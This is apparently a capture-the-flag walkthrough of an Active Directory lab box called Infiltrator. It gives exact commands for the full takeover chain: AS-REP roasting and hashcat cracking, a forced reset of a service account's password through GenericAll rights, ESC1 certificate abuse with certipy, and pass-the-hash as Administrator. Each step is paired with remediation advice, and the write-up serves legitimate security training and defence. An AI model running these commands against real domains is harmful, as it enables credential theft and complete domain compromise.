← all walkthroughs

Infiltrator

Windows· Insane
owned
2026-07-24
time to own
56m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I harvested employee full names from the company's public website and converted them to Active Directory usernames using the standard first-initial-last-name convention. One account — l.clark — had Kerberos pre-authentication disabled, allowing me to request an offline-crackable AS-REP hash without triggering any logon alert. The hash was cracked in minutes with a common wordlist, yielding l.clark's password, which granted an interactive WinRM shell on the domain controller.

BloodHound ACL mapping then revealed that the built-in Account Operators group held GenericAll (full control) rights over the winrm_svc service account, allowing me to force-reset its password and pivot to a higher-privilege identity. From that foothold, a misconfigured Active Directory Certificate Services template let a low-privileged account enroll and write the identity of its choice into the certificate (ESC1); a certificate impersonating the domain Administrator was requested, used to obtain the Administrator's Kerberos ticket via PKINIT, and the resulting NT hash provided full domain compromise via Pass-the-Hash.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for l.clark>"
export PASSWORD2="<the-password-you-recovered, for winrm_svc>"

Some commands also carry a value in angle brackets — <a-password-you-choose>, <the-password-you-just-set> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceOSINT — corporate website employee enumeration (T1589.003)
Harvested employee names from the public website to build an AD username list
The company's public-facing website listed seven staff members by full name in its marketing copy: Amanda Walker, David Anderson, Ethan Rodriguez, Kevin Turner, Lauren Clark, Marcus Harris, and Olivia Martinez. I scraped those names and converted them to the first-initial-last-name convention standard in Active Directory environments, producing a targeted list of seven candidate usernames with no credentials required.
Staff full names visible in HTTP response body from $TARGET; normalized to: a.walker, d.anderson, e.rodriguez, k.turner, l.clark, m.harris, o.martinez.
Exact commands 3
shell

The marketing copy is the directory here: seven staff, named in full.

$ curl -s http://$TARGET/ -o idx.html
shell

Two capitalised words in a row is a crude filter, and on a page this size the false positives are quicker to delete than to code around.

$ grep -oE '[A-Z][a-z]+ [A-Z][a-z]+' idx.html | sort -u > names.txt
shell

First initial, dot, surname. The convention is a guess until one of the names authenticates.

$ awk '{print tolower(substr($1,1,1)) "." tolower($2)}' names.txt > users.txt
FixRemove employee full names from public-facing web pagesMedium
WeaknessThe company website listed all staff members by full name, giving an unauthorised user a ready-made username wordlist derived without credentials or network access. This directly seeded the AS-REP roasting attack.
FixAudit all public web properties and remove or anonymize staff full names. Where bios are business-critical, use role titles or first names only. Conduct a periodic Google dorking review to ensure employee directories or LinkedIn profiles do not re-expose the same information in a way that can be correlated to AD naming conventions.
2Initial Access — Credential CaptureAS-REP Roasting (T1558.004)
AS-REP roasted the l.clark account and retrieved an offline-crackable Kerberos hash
Because Kerberos pre-authentication was disabled on l.clark's account, the domain controller responded to an unauthenticated AS-REQ for that user by returning a krb5asrep$23 ticket — encrypted with the account's password — without requiring the caller to first prove knowledge of any secret. I sent AS-REQ packets for every username on the list; only l.clark returned a hash. No lockout, no logon event.
Impacket-GetNPUsers returned $krb5asrep$23$l.clark@INFILTRATOR.HTB:... For dc01.infiltrator.htb.
Exact commands 2
shell

Add domain and DC hostname to local DNS resolution.

$ echo "$TARGET infiltrator.htb dc01.infiltrator.htb" | sudo tee -a /etc/hosts
shell

Request AS-REP tickets for every candidate username; saves crackable hashes to asrep_h.txt.

$ impacket-GetNPUsers infiltrator.htb/ -dc-ip $TARGET -usersfile users.txt -no-pass -format hashcat -outputfile asrep_h.txt
FixEnable Kerberos pre-authentication on all domain accountsHigh
WeaknessThe 'Do not require Kerberos preauthentication' flag was set on l.clark, allowing any host on the network to request an AS-REP ticket for that account and crack it offline — with no logon failure event and no lockout risk.
FixIn Active Directory Users and Computers or via PowerShell, ensure the flag is cleared for every account: Set-ADUser l.clark -DoNotRequirePreAuth $false. Enforce this at scale with a scheduled audit: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | Select Name. There is no legitimate operational reason to disable pre-authentication on standard user accounts.
3Initial Access — Credential RecoveryOffline Kerberos hash cracking (T1110.002)
Cracked the AS-REP hash offline to recover l.clark's plaintext password
The captured krb5asrep$23 hash was submitted to hashcat against the rockyou.txt wordlist. The password was present in that list and recovered within minutes entirely offline — no connection to the target, no alert, no lockout. The credential was immediately confirmed live against both SMB and WinRM.
Hashcat mode 18200 recovered l.clark's password; nxc smb and nxc winrm both returned [+] success.
Exact commands 3
shell

Mode 18200 = Kerberos 5 AS-REP etype 23. Add --force if running inside a VM.

$ hashcat -m 18200 -a 0 asrep_h.txt /usr/share/wordlists/rockyou.txt
shell

Validate credential over SMB.

$ nxc smb $TARGET -u l.clark -p "$PASSWORD"
shell

Confirm WinRM (port 5985) access; Pwn3d! Confirms interactive shell rights.

$ nxc winrm $TARGET -u l.clark -p "$PASSWORD"
FixEnforce a strong password policy and proactively audit for weak credentialsHigh
Weaknessl.clark's password appeared in the publicly available rockyou.txt wordlist and was recovered from the offline hash within minutes, demonstrating that apparent complexity (mixed case, punctuation) does not prevent dictionary attacks when the word root is common.
FixEnforce a minimum 15-character passphrase policy and deploy Microsoft Entra Password Protection (or an equivalent on-premises banned-password filter) to block dictionary words and known-compromised passwords at reset time. Conduct quarterly offline audits of the NTDS.dit against updated wordlists to find weak credentials before unauthorised users do.
4FootholdValid Domain Account — WinRM lateral movement (T1078.002)
Established an interactive shell on the domain controller as l.clark via WinRM
With the confirmed credential, I opened a full PowerShell session on the domain controller over WinRM (port 5985). This gave the first authenticated shell inside the network, from which the user flag was read and domain enumeration was launched.
Evil-winrm shell established as l.clark on $TARGET; user.txt accessible on l.clark's Desktop.
Exact commands 2
shell

Open an interactive WinRM shell as l.clark.

$ evil-winrm -i $TARGET -u l.clark -p "$PASSWORD"
shell

Read the user flag: <user.txt>

$ type C:\Users\l.clark\Desktop\user.txt
5EnumerationActive Directory ACL enumeration (T1069.002)
Mapped Active Directory ACLs with BloodHound and discovered the Account Operators escalation path
I ran a full BloodHound collection and a bloodyAD writable-ACL query against the domain using l.clark's credentials. Analysis of the resulting ACL graph revealed that the built-in Account Operators group held GenericAll — meaning full, unconditional control — over the service accounts winrm_svc and lan_managment and over the user o.martinez. GenericAll allows any member of the controlling group to force-reset the target's password, add them to groups, or otherwise take complete ownership of the account.
BloodyAD get writable and BloodHound JSON edges confirmed: ACCOUNT OPERATORS --GenericAll--> WINRM_SVC, LAN_MANAGMENT, O.MARTINEZ.
Exact commands 2
shell

Full BloodHound collection; import the .zip into the BloodHound GUI and query 'Shortest Paths to Domain Admins'.

$ bloodhound-python -u l.clark -p "$PASSWORD" -d infiltrator.htb -ns $TARGET -c All --zip
shell

Enumerate every account over which l.clark (via Account Operators membership) holds write or control rights.

$ bloodyAD --host $TARGET -d infiltrator.htb -u l.clark -p "$PASSWORD" get writable
6Lateral MovementACL Abuse — GenericAll / ForceChangePassword (T1098.001)
Abused GenericAll to force-reset winrm_svc's password and pivot to a higher-privilege account
BloodHound's value here is one edge. l.clark is in Account Operators, and that group holds GenericAll over winrm_svc — full control of the object, which includes setting its password without knowing the old one. Account Operators is a built-in group that looks administrative-lite and is not: it can take over any account outside the protected groups, and a service account is exactly that. Winrm_svc is the one worth taking because it is in Remote Management Users, so a password set on it is immediately a shell rather than an object to hold and wonder about. The reset is silent from the account owner's side — no approval, nothing that looks like a failed logon — and the rights that come with the new session are what the certificate work needs.
BloodHound showed Account Operators, which l.clark belongs to, holding GenericAll over winrm_svc; bloodyAD set a new password on that account and WinRM accepted it, returning a session as winrm_svc.
Exact commands 3
shell

Collect first; the edge worth having is a group membership away from the account just cracked.

$ bloodhound-python -u l.clark -p "$PASSWORD" -d infiltrator.htb -dc dc01.infiltrator.htb -c All --zip
shell

GenericAll includes the password. No old password, no prompt, no owner involvement.

$ bloodyAD --host $TARGET -d infiltrator.htb -u l.clark -p "$PASSWORD" set password winrm_svc '<a-password-you-choose>'
shell

The account is in Remote Management Users, which is why a reset is a shell.

$ evil-winrm -i $TARGET -u winrm_svc -p '<the-password-you-just-set>'
FixRemove GenericAll ACL grants from Account Operators and other built-in operator groupsCritical
WeaknessThe Account Operators built-in group was granted GenericAll (full control) over service accounts winrm_svc and lan_managment and over the user o.martinez. Any member of that group could silently force-reset those accounts' passwords and impersonate them, collapsing what should be a privilege boundary into a single hop.
FixRun BloodHound (or Get-Acl in PowerShell) to audit every access control entry granted to Account Operators, Print Operators, Server Operators, and Backup Operators. Remove any GenericAll, GenericWrite, WriteDACL, or WriteOwner grant that is not required by a documented, approved business process. Consider emptying Account Operators entirely and replacing it with delegation scoped to specific organizational units with only the minimum rights needed (e.g., Reset Password on a single OU).
7Privilege Escalation — Domain AdminADCS Certificate Template Abuse — ESC misconfiguration (T1649)
Enrolled an ESC1 template as Administrator and turned the certificate into the hash
The domain runs a certificate authority, and certipy's vulnerability scan names the problem class directly: ESC1. A template is ESC1 when three things are true at once — an unprivileged group may enroll, the template carries a client-authentication EKU, and the flag ENROLLEE_SUPPLIES_SUBJECT is set, which means the requester writes the identity into the request instead of the CA deriving it from the account. Any one of those alone is ordinary; together they are a certificate for whoever you say you are. I enrolled with the UPN of the domain Administrator and received a certificate the CA had signed for that identity. PKINIT then authenticates with it, and the exchange returns the account's NT hash alongside the ticket, which is what makes this an escalation rather than a session: the hash outlives the certificate and works against every protocol that takes one.
Certipy find -vulnerable reported an ESC1 template on infiltrator-DC01-CA; certipy req with -upn administrator@infiltrator.htb produced administrator.pfx; certipy auth over PKINIT returned the Administrator NT hash, and a pass-the-hash WinRM session read the root flag.
Exact commands 5
shell

-vulnerable prints the ESC class per template. ESC1 is the one where the requester supplies the subject.

$ certipy find -u winrm_svc@infiltrator.htb -p "$PASSWORD2" -dc-ip $TARGET -vulnerable -stdout
shell

The template name comes from the scan above; -upn is the identity being claimed, which the ENROLLEE_SUPPLIES_SUBJECT flag is what permits.

$ certipy req -u winrm_svc@infiltrator.htb -p "$PASSWORD2" -dc-ip $TARGET -ca infiltrator-DC01-CA -template <VulnerableTemplate> -upn administrator@infiltrator.htb
shell

Authenticate via PKINIT with the forged certificate; outputs the Administrator NT hash and a TGT.

$ certipy auth -pfx administrator.pfx -dc-ip $TARGET
shell

Pass-the-Hash as Administrator for a full-privilege Domain Admin shell.

$ evil-winrm -i $TARGET -u Administrator -H '<ADMINISTRATOR_NT_HASH>'
shell

Read the root flag: <root.txt>

$ type C:\Users\Administrator\Desktop\root.txt
FixHarden Active Directory Certificate Services templates and restrict enrollment permissionsCritical
WeaknessAn ADCS certificate template allowed non-privileged accounts to enroll and specify or influence identity fields in the issued certificate. This let an unauthorised user request a certificate asserting the domain Administrator's identity, obtain a Kerberos ticket for that account, and achieve full domain compromise without ever knowing the Administrator's password.
FixRun Certipy or Certify in audit mode to enumerate all templates with ESC flags. For each vulnerable template: (1) remove Enroll permission from Domain Users and Authenticated Users — grant enrollment only to specific service accounts that require it; (2) set the Subject Name source to 'Build from Active Directory information' rather than 'Supply in the request'; (3) require CA manager approval for any template enrollable by non-admin accounts; (4) enable CA and template audit logging and alert on certificates issued containing privileged account UPNs (Domain Admins, Enterprise Admins, Administrator). Apply Microsoft's ADCS hardening guidance.

Attack patterns used

The transferable techniques behind this compromise.

AS-REP RoastingActive Directory · KerberosT1558.004

What it is

Accounts with 'Do not require Kerberos pre-authentication' set will return an AS-REP whose encrypted portion is derived from the user's password — to anyone who asks, without credentials. Tools like GetNPUsers.py collect these AS-REP blobs and they are cracked offline with hashcat (mode 18200) to recover the plaintext password.

Why it works

Pre-authentication exists precisely to stop this offline-crackable material from being handed out; disabling it (often for legacy app compatibility) reopens the hole. Detect by auditing the DONT_REQ_PREAUTH UAC flag; remediate by removing it and enforcing strong passwords.

Read more

AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649

What it is

Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.

Why it works

Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.

Read more

Exposed services

53/tcp
80/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
3268/tcp
3269/tcp
3389/tcp
5985/tcp
9389/tcp
49666/tcp
49694/tcp
49695/tcp
49700/tcp
49728/tcp
49733/tcp
14118/tcp
14119/tcp
14121/tcp
14122/tcp
14123/tcp
14125/tcp
14126/tcp
14127/tcp
14128/tcp
14130/tcp
14406/tcp
15220/tcp
15223/tcp
15230/tcp
49668/tcp
49688/tcp
49689/tcp
49692/tcp
49718/tcp
49741/tcp
49873/tcp